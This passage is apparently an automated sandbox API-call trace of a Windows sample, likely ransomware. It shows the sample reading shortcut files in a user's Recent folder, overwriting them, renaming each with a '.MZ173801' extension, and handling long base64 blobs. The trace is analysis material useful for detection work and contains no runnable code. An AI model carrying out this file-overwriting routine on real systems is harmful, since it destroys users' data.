[0120.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xee2 [0120.509] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.509] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xee2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xee2, lpOverlapped=0x0) returned 1 [0120.512] CloseHandle (hObject=0x288) returned 1 [0120.512] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2s62f08alWPRJnfyMl.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2s62f08alwprjnfyml.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.514] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xee2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xee2, lpOverlapped=0x0) returned 1 [0120.515] CloseHandle (hObject=0x288) returned 1 [0120.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2s62f08alWPRJnfyMl.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2s62f08alwprjnfyml.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2s62f08alWPRJnfyMl.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2s62f08alwprjnfyml.flv.lnk.mz173801")) returned 1 [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] GetCurrentThreadId () returned 0x9fc [0120.517] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbeaf40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbeaf40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfbeaf40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x141b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="2WobuDku.lnk", cAlternateFileName="")) returned 1 [0120.517] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.517] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2WobuDku.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wobudku.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbeaf40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbeaf40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfbeaf40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x141b)) returned 1 [0120.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.519] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.520] GetCurrentThreadId () returned 0x9fc [0120.520] GetCurrentThreadId () returned 0x9fc [0120.520] GetCurrentThreadId () returned 0x9fc [0120.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.521] GetCurrentThreadId () returned 0x9fc [0120.521] GetCurrentThreadId () returned 0x9fc [0120.521] GetCurrentThreadId () returned 0x9fc [0120.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2WobuDku.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wobudku.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.521] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x141b [0120.522] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.522] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x141b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x141b, lpOverlapped=0x0) returned 1 [0120.523] CloseHandle (hObject=0x288) returned 1 [0120.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2WobuDku.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wobudku.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.528] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x141b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x141b, lpOverlapped=0x0) returned 1 [0120.529] CloseHandle (hObject=0x288) returned 1 [0120.540] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2WobuDku.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wobudku.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2WobuDku.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2wobudku.lnk.mz173801")) returned 1 [0120.541] GetCurrentThreadId () returned 0x9fc [0120.541] GetCurrentThreadId () returned 0x9fc [0120.541] GetCurrentThreadId () returned 0x9fc [0120.541] GetCurrentThreadId () returned 0x9fc [0120.541] GetCurrentThreadId () returned 0x9fc [0120.541] GetCurrentThreadId () returned 0x9fc [0120.542] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd6b560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9d5c00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2b4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="36rYiOW9I_Vo91vZ8DQ2.lnk", cAlternateFileName="36RYIO~1.LNK")) returned 1 [0120.542] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.542] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\36rYiOW9I_Vo91vZ8DQ2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\36ryiow9i_vo91vz8dq2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd6b560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9d5c00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9d5c00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2b4)) returned 1 [0120.543] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.544] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RU